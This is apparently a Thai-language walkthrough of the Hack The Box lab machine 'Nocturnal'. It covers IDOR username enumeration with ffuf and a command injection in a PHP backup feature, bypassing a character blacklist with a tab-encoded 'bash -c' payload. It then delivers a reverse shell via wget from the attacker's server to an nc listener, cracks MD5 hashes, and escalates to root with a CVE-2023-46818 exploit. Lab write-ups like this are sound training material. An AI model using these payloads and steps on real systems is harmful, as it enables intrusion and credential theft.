หลังจากกด Join Machine ก็ทำการ nmap ดู port ที่เปิดอยู่
┌──(kali㉿kali)-[~/Downloads/HTB]
└─$ nmap -sV -T5 10.10.11.64
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 09:37 +07
Warning: 10.10.11.64 giving up on port because retransmission cap hit (2).
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.29s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
50300/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds
มี port 80 เปิดอยู่เลยทำการเข้าไปที่ url http://10.10.11.64/

ให้นำ ip และ host นี้ไปเพิ่มไว้ใน /etc/hosts
10.10.11.64 nocturnal.htb
จากนั้นให้กลับไปดูที่หน้าเว็บ

จะเห็นว่าจะมีหน้าให้ login และ register อยู่ ผมเลยลองสมัครและทำการ login เข้าไปด้วย username กับ password ที่พึ่งได้สมัครไป
จะเห็นว่าเว็บนี้เป็นเว็บสำหรับการ upload ไฟล์ ผมเลยลอง upload webshell ขึ้นไปดูเผื่อมันอัปได้555555
แล้วก็ตามรูปมันไม่รองรับไฟล์ php ไฟล์ที่รองรับมีตามรูป ผมเลยลองอัปไฟล์ที่เว็บรองรับขึ้นไปดูว่าถ้าอัปสำเร็จมันจะเป็นยังไง
หลังจากผมอัปไฟล์ที่เว็บนี้รองรับขึ้นไปแล้ว จะเห็นว่า url ที่ใช้แสดงไฟล์ที่เราได้อัปไปนั้นมันจะประกอบด้วย 2 parameter ด้วยกันคือ username และ file ผมเลยคิดว่าแบบนี้เราน่าจะสามารถใช้ช่องโหว่ IDOR ได้ เลยลองเปลี่ยน uername เป็น admin
จากผลลัพธ์ที่ได้ผมเลยลองเปลี่ยน username เป็นอย่างอื่นมั่วๆดูว่าผลลัพธ์จะได้แบบไหน
จากผลลัพธ์ทั้งสองรูปจะได้ว่า ถ้า user ไหนไม่มีอยู่จริงจะขึ้นคำว่า User not found. ซึ่งผมจะใช้ช่องโหว่ IDOR นี้แหละในการหา user ที่มีอยู่โดยใช้ตัวของ ffuf ในการ brute force หา username
┌──(kali㉿kali)-[~/Downloads/HTB/Nocturnal]
└─$ ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.doc' -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -H 'Cookie: PHPSESSID=jrnr4sm5mbusnp119cvaqnqqos' -fw 1170
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=test.doc
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
:: Header : Cookie: PHPSESSID=jrnr4sm5mbusnp119cvaqnqqos
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 1170
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 305ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 276ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 276ms]
:: Progress: [10177/10177] :: Job [1/1] :: 145 req/sec :: Duration: [0:01:13] :: Errors: 0 ::
ผมเลยลองเข้าไปดูในแต่ละ username ซึ่ง username ที่มีไฟล์ให้ dowload คือ amanda
หลังจาก dowload มาก็ทำการแตกไฟล์และสำรวจไฟล์ต่างๆ ซึ่งเราจะได้ password ของ amanda มาจากไฟล์ content.xml
ให้นำ password นี้ไป login โดยใช้ username เป็น amanda ในหน้าเว็บ
พอเข้ามาแล้วจะมีปุ่ม Go to admin panel ซึ่งจะได้ว่า user amanda เป็น admin นั่นเอง
หลังจากเข้ามาในหน้า admin จะมีไฟล์ source code ของหน้าต่างๆให้ดู และมีฟังก์ชันสำหรับการสร้าง backup ไฟล์โดยให้สร้าง password เพื่อใช้ password นี้ในการเข้ารหัสไฟล์ zip ของ backup ไฟล์
หลังจากนั่งงมอยู่นานจะผมก็ได้รู้ว่าในหน้านี้มีช่องโหว่ (ก็คือผมก็อป source code ไปให้ chat ดูนั่นแหละ😅)
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
โดยจากโค้ดสร้างไฟล์ backup โดยการใส่ password ในหน้า admin มันมีช่องโหว่ที่ทำให้เกิด Command Injection ได้ เพราะในโค้ดนี้ได้มีการนำตัวแปร password ไปต่อกับคำสั่ง shell โดยตรง แต่ว่าตัวแปร password อันนี้มันจะไปเข้าฟังก์ชัน cleanEntry() ก่อนนำมาใช้
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
ซึ่งในฟังก์ชัน cleanEntry() มันจะ filter ตัวอักษรบางส่วนที่อาจทำให้เกิด command injection ได้ แต่มันก็ยังกรองไม่หมดอยู่ดี โดยคำสั่งที่สามารถ bypass เข้าไปได้คือ
bash -c "whoami"
ซึ่งช่องว่างนี้เราจะใช้ tab แทน space ธรรมดาเพราะว่า space ธรรมดามันอยู่ใน blacklist ผมเลยจะใช้ burp ในการส่ง payload นี้และดูผลลัพธ์จาก response
ซึ่งถ้าส่ง payload ไปมันจะถูก encode ด้วย url encode ดังนั้น payload ที่ใช้ก็จะเป็น
bash%09-c%09"whoami"
โดย %09 ก็คือ tab นั่นแหละ
จะเห็นจาก response ว่ามีการตอบกลับมาเป็น www-data แสดงว่าเราใช้ command injection ได้ ผมเลยจะทำการอัป php reverse shell เข้าไปเพื่อจะให้ตัวเว็บ server connect กลับมาที่เครื่องผม โดยเริ่มแรกให้เครื่องเราเปิด port ไว้รอ
┌──(kali㉿kali)-[~/Downloads/HTB/Nocturnal]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
และในอีก tab นึงให้เปิด server python ไว้เพื่อให้ web server เหยื่อได้ทำการโหลด shell ของเราไป
┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
จากนั้นใน burp ให้ใช้คำสั่ง wget เพื่อให้เหยื่อโหลด shell ไปที่เครื่อง
จากรูปจะได้ว่าได้ทำการ download สำเร็จแล้ว ที่เหลือเราก็แค่เข้าไปที่ url http://nocturnal.htb/php-reverse-shell.php เพื่อทำการ execute ตัว reverse shell ที่เราพึ่งอัปขึ้นไป
จากนั้นผมก็ได้ไปเจอไฟล์ nocturnal_database.db ที่ path /var/www/nocturnal_database ก็เลยทำการโหลดมาไว้ที่เครื่องแล้วเปิดดู
จะเห็นว่ามี table users อยู่ผมเลยลอง select ออกมาดูเนื้อหาทำให้เราเห็น password ของ user ทั้งหมดผมเลยเอาไปเข้า crackstation เพื่อ crack password MD5
จะเห็นว่ามีอยู่หลาย password เลยที่ crack ได้ผมเลยลอง ssh เข้าไปที่ user tobias ก่อนด้วย password slowmotionapocalypse
แล้วก็บู้มได้ user flag แล้ววว แต่ยังไม่จบยังเหลือ root flag อีก
ผมทำการใช้ตัว linpeas.sh เหมือนเดิมในการ enum หาช่องโหว่ที่จะใช้ในการยกสิทธิ์ได้ โดยผมทำการ deploy ไฟล์ linpeas.sh จากเครื่องผมไปที่เครื่องเหยื่อ (อันนี้ก็เหมือนเดิมเปิดเซิฟที่เครื่องเราและใช้ wget ในเครื่องเหยื่อเพื่อโหลดไฟล์) และจากนั้นใช้คำสั่ง
./linpeas.sh > result.txt
เพื่อรันและเก็บผลลัพธ์ไว้ในไฟล์ result.txt
หลังจากดูผลลัพธ์จาก linpeas.sh ไปเรื่อยๆผมก็ไปเจอกับส่วน netstat ที่มี port เปิดอยู่เยอะผมเลยคาดว่ามันน่าจะมี service ที่มีช่องโหว่แน่ๆผมเลยใช้คำสั่ง
ssh -L <port>:localhost:<port> <user>@<host>
โดย port แรกที่ผมเข้าไปคือ port 8080 เพราะดูน่าจะมีอะไรสุด🤓 และให้เข้าไปที่ url http://127.0.0.1:8080/
จะเจอเข้ากับหน้า login ผมเลยลอง login ด้วย user tobias และ password slowmotionapocalypse แต่ก็ไม่ได้ 🥲 ผมลองใช้ทุก username กับ password ที่ได้จากไฟล์ database แล้วก็ยังไม่ได้ ซึ่งในทีนี้ผมขอยอมรับเลยว่าไปดูคำใบ้มา แล้วเขาบอกว่าให้ใช้ username เป็น admin ผมเลยใช้ username admin และ password เป็น slowmotionapocalypse ดูสรุปได้เฉย
หลังจากเข้ามาก็ทำการไปที่หน้า help มันจะแสดงเวอร์ชั่นของตัว ispconfig นี้อยู่ผมเลยลองเอาเวอร์ชั่นนี้ไป search หาช่องโหว่ดู
CVE-2023-46818 Python Exploit
แล้วก็เจอจริงๆพร้อมโค้ด exploit แล้วจากนั้นก็โหลดโค้ด exploit มาใช้ได้เลย

ได้ root flag แล้วววว🥳
ก็จบไปแล้วนะครับสำหรับข้อนี้ ส่วนตัวรู้สึกว่าข้อนี้ไม่ค่อยยากและข้อนี้จะฝึกเราในเรื่องของช่องโหว่ IDOR และ Command Injection ทำให้ได้รู้การเขียนโค้ดที่ปลอดภัยมากขึ้นครับ 🤓
